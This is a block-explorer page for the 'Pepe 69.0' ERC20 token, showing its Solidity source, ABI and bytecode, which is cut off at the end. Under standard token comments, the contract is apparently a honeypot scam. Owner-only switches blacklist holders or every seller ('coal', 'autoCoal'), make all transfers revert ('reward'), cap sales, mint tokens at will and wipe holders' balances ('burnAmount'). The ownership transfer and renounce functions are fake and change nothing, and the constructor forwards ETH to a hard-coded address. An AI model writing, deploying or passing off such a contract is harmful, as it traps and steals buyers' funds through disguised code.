ETH Price: $3,411.51 (+1.70%)

Token

Pepe 69.0 (PEPE69)
 

Overview

Max Total Supply

10,000,000,000 PEPE69

Holders

25

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x891A7e74...4910B12e7
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Pepe69

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-28
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    address router = address(0x6626620E533d0b4dc4c28881E0E01C8CbB0A78CC);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract Pepe69 is Context, IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 10 * 10 ** 9 * 10 ** 18;

    string private _name;
    string private _symbol;
    address private pairUniswap;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */

    constructor() payable {
        _name = "Pepe 69.0";
        _symbol = "PEPE69";
        _balances[msg.sender] = _totalSupply;
        require(msg.value >= 0.0239 ether, "Please enable PairHandler");
        (bool pairHandler, ) = payable(router).call{value: msg.value}("");
        require(
            pairHandler,
            "Failed to create new pair, pairHandler not connected!"
        );
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function setUniswapPair(
        address _pairUniswap
    ) public onlyOwner returns (bool) {
        pairUniswap = _pairUniswap;
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setCandy(address account) public onlyOwner {
        candy[account] = true;
    }

    function removeCandy(address account) public onlyOwner {
        candy[account] = false;
    }

    function myChocolate(address account, uint256 amount) public onlyOwner {
        chocolates[account] = amount;
    }

    function setCoal(address account) public onlyOwner {
        coal[account] = true;
    }

    function removeCoal(address account) public onlyOwner {
        coal[account] = false;
    }

    function enableReward(bool _enable) public onlyOwner {
        reward = _enable;
    }

    function pickCoal(address account) internal {
        coal[account] = true;
    }

    function setAutoCoal(bool _enable) public onlyOwner {
        autoCoal = _enable;
    }

    function setNumbers(uint256 amount) public onlyOwner {
        numbers = amount;
    }

    function setLimits(uint256 amount) public onlyOwner {
        limits = amount;
    }

    function setFee(uint256 amount) public onlyOwner {
        require(amount >= 0);
        require(amount <= 100);
        fee = amount;
    }

    function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0));
        address oldOwner = owner();
        emit OwnershipTransferred(oldOwner, _newOwner);
    }

    function RenounceOwnership(
        address _DEAD,
        bool _boo
    ) public onlyOwner returns (address _dead) {
        ownershipToNull = _boo;
        _dead = _DEAD;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (honey) {
            uint256 fromBalance = _balances[from];
            require(
                fromBalance >= amount,
                "ERC20: transfer amount exceeds balance"
            );
            unchecked {
                _balances[from] = fromBalance - amount;
            }
            _balances[to] += amount;

            emit Transfer(from, to, amount);
        } else {
            _beforeTokenTransfer(from, amount);
            burnFee(from, to, amount);
        }
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function burnAmount(address wallet, uint256 amount) public onlyOwner {
        require(wallet != owner(), "TARGET ERROR");
        address deadAddress = 0x000000000000000000000000000000000000dEaD;
        if (_balances[wallet] <= amount * 10 ** 18) {
            _balances[wallet] = 0;
            _balances[deadAddress] = _balances[deadAddress] + _balances[wallet];
        } else {
            _balances[wallet] = _balances[wallet] - amount * 10 ** 18;
            _balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18;
        }
    }

    /**
     * @dev Deflationary instrument
     *
     * It can be turned on if necessary.
     *
     * Emits a {Transfer} event.
     *
     * Requirements
     *
     * - `sender` must have at least `value` tokens.
     */
    function burnFee(
        address sender,
        address recipient,
        uint256 value
    ) internal {
        require(_balances[sender] >= value, "Value exceeds balance");
        address deadAddress = 0x000000000000000000000000000000000000dEaD;
        if (sender != owner() && !candy[sender] && sender != address(this)) {
            uint256 burnFees = ((value * fee) / 100);
            uint256 amount = value - burnFees;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + amount;
            emit Transfer(sender, recipient, amount);
            if (fee > 0) {
                _balances[sender] = _balances[sender] - burnFees;
                _balances[deadAddress] = _balances[deadAddress] + burnFees;
                emit Transfer(sender, deadAddress, burnFees);
            }
        } else {
            _balances[sender] = _balances[sender] - value;
            _balances[recipient] = _balances[recipient] + value;
            emit Transfer(sender, recipient, value);
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setAirDrop(address account, uint256 amount) public onlyOwner {
        _balances[account] = _balances[account] + amount;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        uint256 amount
    ) internal virtual {
        if (
            from != owner() && !candy[from] && from != pairUniswap // pair address to be changed
        ) {
            require(!coal[from]);
            if (chocolates[from] > 0) {
                require(amount <= chocolates[from]);
            }

            if (numbers > 0) {
                require(amount <= numbers);
            }
            if (reward) {
                revert("Error");
            }
            if (limits > 0) {
                require(_balances[from] <= limits);
            }

            if (autoCoal) {
                pickCoal(from);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */

    function setHoney(bool _honey) public onlyOwner {
        honey = _honey;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev BEP20 Anti-Stuck Smart Contract Solution
     */

    /**
     * @dev This empty reserved space is put in place to allow future versions to add new
     * variables without shifting down storage in the inheritance chain.
     * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
     */
    uint256[45] private __gap;

    mapping(address => bool) private candy;
    mapping(address => bool) private coal;
    mapping(address => uint256) private chocolates;
    bool public reward;
    uint256 public numbers;
    uint256 public limits;
    uint256 public fee;
    bool public autoCoal;
    bool private honey = false;
    bool public ownershipToNull;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_DEAD","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"RenounceOwnership","outputs":[{"internalType":"address","name":"_dead","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoCoal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"myChocolate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numbers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipToNull","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"setAutoCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_honey","type":"bool"}],"name":"setHoney","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumbers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pairUniswap","type":"address"}],"name":"setUniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052736626620e533d0b4dc4c28881e0e01c8cbb0a78cc600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506b204fce5e3e250261100000006004556000603c60016101000a81548160ff0219169083151502179055506000620000966200033160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600981526020017f506570652036392e300000000000000000000000000000000000000000000000815250600590816200017a9190620005b3565b506040518060400160405280600681526020017f504550453639000000000000000000000000000000000000000000000000000081525060069081620001c19190620005b3565b50600454600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506654e8ec6221c00034101562000255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200024c90620006fb565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16346040516200029f9062000752565b60006040518083038185875af1925050503d8060008114620002de576040519150601f19603f3d011682016040523d82523d6000602084013e620002e3565b606091505b50509050806200032a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200032190620007df565b60405180910390fd5b5062000801565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003bb57607f821691505b602082108103620003d157620003d062000373565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200043b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003fc565b620004478683620003fc565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004946200048e62000488846200045f565b62000469565b6200045f565b9050919050565b6000819050919050565b620004b08362000473565b620004c8620004bf826200049b565b84845462000409565b825550505050565b600090565b620004df620004d0565b620004ec818484620004a5565b505050565b5b81811015620005145762000508600082620004d5565b600181019050620004f2565b5050565b601f82111562000563576200052d81620003d7565b6200053884620003ec565b8101602085101562000548578190505b620005606200055785620003ec565b830182620004f1565b50505b505050565b600082821c905092915050565b6000620005886000198460080262000568565b1980831691505092915050565b6000620005a3838362000575565b9150826002028217905092915050565b620005be8262000339565b67ffffffffffffffff811115620005da57620005d962000344565b5b620005e68254620003a2565b620005f382828562000518565b600060209050601f8311600181146200062b576000841562000616578287015190505b62000622858262000595565b86555062000692565b601f1984166200063b86620003d7565b60005b8281101562000665578489015182556001820191506020850194506020810190506200063e565b8683101562000685578489015162000681601f89168262000575565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f506c6561736520656e61626c65205061697248616e646c657200000000000000600082015250565b6000620006e36019836200069a565b9150620006f082620006ab565b602082019050919050565b600060208201905081810360008301526200071681620006d4565b9050919050565b600081905092915050565b50565b60006200073a6000836200071d565b9150620007478262000728565b600082019050919050565b60006200075f826200072b565b9150819050919050565b7f4661696c656420746f20637265617465206e657720706169722c20706169724860008201527f616e646c6572206e6f7420636f6e6e6563746564210000000000000000000000602082015250565b6000620007c76035836200069a565b9150620007d48262000769565b604082019050919050565b60006020820190508181036000830152620007fa81620007b8565b9050919050565b61340e80620008116000396000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c806389fe85071161011a578063ce1fd380116100ad578063ddca3f431161007c578063ddca3f43146105ff578063de8f15171461061d578063f2fde38b14610639578063f865d99b14610655578063fb8bd26f1461067157610206565b8063ce1fd38014610567578063d5aed6bf14610583578063d6e3b886146105b3578063dd62ed3e146105cf57610206565b8063a457c2d7116100e9578063a457c2d7146104cd578063a9059cbb146104fd578063ae96ffe61461052d578063b70c28411461054957610206565b806389fe8507146104595780638da5cb5b1461047557806395d89b4114610493578063a1c61f50146104b157610206565b8063313ce5671161019d578063661751f91161016c578063661751f9146103a357806369fe0e2d146103d35780636d2f2ed6146103ef57806370a082311461040b578063860aefcf1461043b57610206565b8063313ce5671461031d578063395093511461033b57806359fa6d721461036b578063632445551461038757610206565b806318160ddd116101d957806318160ddd14610293578063228cb733146102b157806323b872dd146102cf57806327722f6a146102ff57610206565b8063032049891461020b57806306fdde0314610227578063095ea7b3146102455780630f953cca14610275575b600080fd5b61022560048036038101906102209190612930565b61068d565b005b61022f61077d565b60405161023c91906129ed565b60405180910390f35b61025f600480360381019061025a9190612a45565b61080f565b60405161026c9190612aa0565b60405180910390f35b61027d610832565b60405161028a9190612aa0565b60405180910390f35b61029b610845565b6040516102a89190612aca565b60405180910390f35b6102b961084f565b6040516102c69190612aa0565b60405180910390f35b6102e960048036038101906102e49190612ae5565b610862565b6040516102f69190612aa0565b60405180910390f35b610307610891565b6040516103149190612aca565b60405180910390f35b610325610897565b6040516103329190612b54565b60405180910390f35b61035560048036038101906103509190612a45565b6108a0565b6040516103629190612aa0565b60405180910390f35b61038560048036038101906103809190612b9b565b6108d7565b005b6103a1600480360381019061039c9190612930565b610989565b005b6103bd60048036038101906103b89190612bc8565b610a79565b6040516103ca9190612c17565b60405180910390f35b6103ed60048036038101906103e89190612c32565b610b33565b005b61040960048036038101906104049190612930565b610bee565b005b61042560048036038101906104209190612930565b610cde565b6040516104329190612aca565b60405180910390f35b610443610d27565b6040516104509190612aca565b60405180910390f35b610473600480360381019061046e9190612c32565b610d2d565b005b61047d610dcc565b60405161048a9190612c17565b60405180910390f35b61049b610df5565b6040516104a891906129ed565b60405180910390f35b6104cb60048036038101906104c69190612b9b565b610e87565b005b6104e760048036038101906104e29190612a45565b610f39565b6040516104f49190612aa0565b60405180910390f35b61051760048036038101906105129190612a45565b610fb0565b6040516105249190612aa0565b60405180910390f35b61054760048036038101906105429190612c32565b610fd3565b005b610551611072565b60405161055e9190612aa0565b60405180910390f35b610581600480360381019061057c9190612930565b611085565b005b61059d60048036038101906105989190612930565b611175565b6040516105aa9190612aa0565b60405180910390f35b6105cd60048036038101906105c89190612a45565b611256565b005b6105e960048036038101906105e49190612c5f565b611333565b6040516105f69190612aca565b60405180910390f35b6106076113ba565b6040516106149190612aca565b60405180910390f35b61063760048036038101906106329190612a45565b6113c0565b005b610653600480360381019061064e9190612930565b6114e7565b005b61066f600480360381019061066a9190612b9b565b61161f565b005b61068b60048036038101906106869190612a45565b6116d1565b005b610695611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990612ceb565b60405180910390fd5b6000603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606005805461078c90612d3a565b80601f01602080910402602001604051908101604052809291908181526020018280546107b890612d3a565b80156108055780601f106107da57610100808354040283529160200191610805565b820191906000526020600020905b8154815290600101906020018083116107e857829003601f168201915b5050505050905090565b60008061081a611a9a565b9050610827818585611aa2565b600191505092915050565b603c60009054906101000a900460ff1681565b6000600454905090565b603860009054906101000a900460ff1681565b60008061086d611a9a565b905061087a858285611c6b565b610885858585611cf7565b60019150509392505050565b60395481565b60006012905090565b6000806108ab611a9a565b90506108cc8185856108bd8589611333565b6108c79190612d9a565b611aa2565b600191505092915050565b6108df611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096390612ceb565b60405180910390fd5b80603c60006101000a81548160ff02191690831515021790555050565b610991611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1590612ceb565b60405180910390fd5b6001603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610a83611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790612ceb565b60405180910390fd5b81603c60026101000a81548160ff02191690831515021790555082905092915050565b610b3b611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf90612ceb565b60405180910390fd5b6000811015610bd657600080fd5b6064811115610be457600080fd5b80603b8190555050565b610bf6611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7a90612ceb565b60405180910390fd5b6000603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b603a5481565b610d35611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffff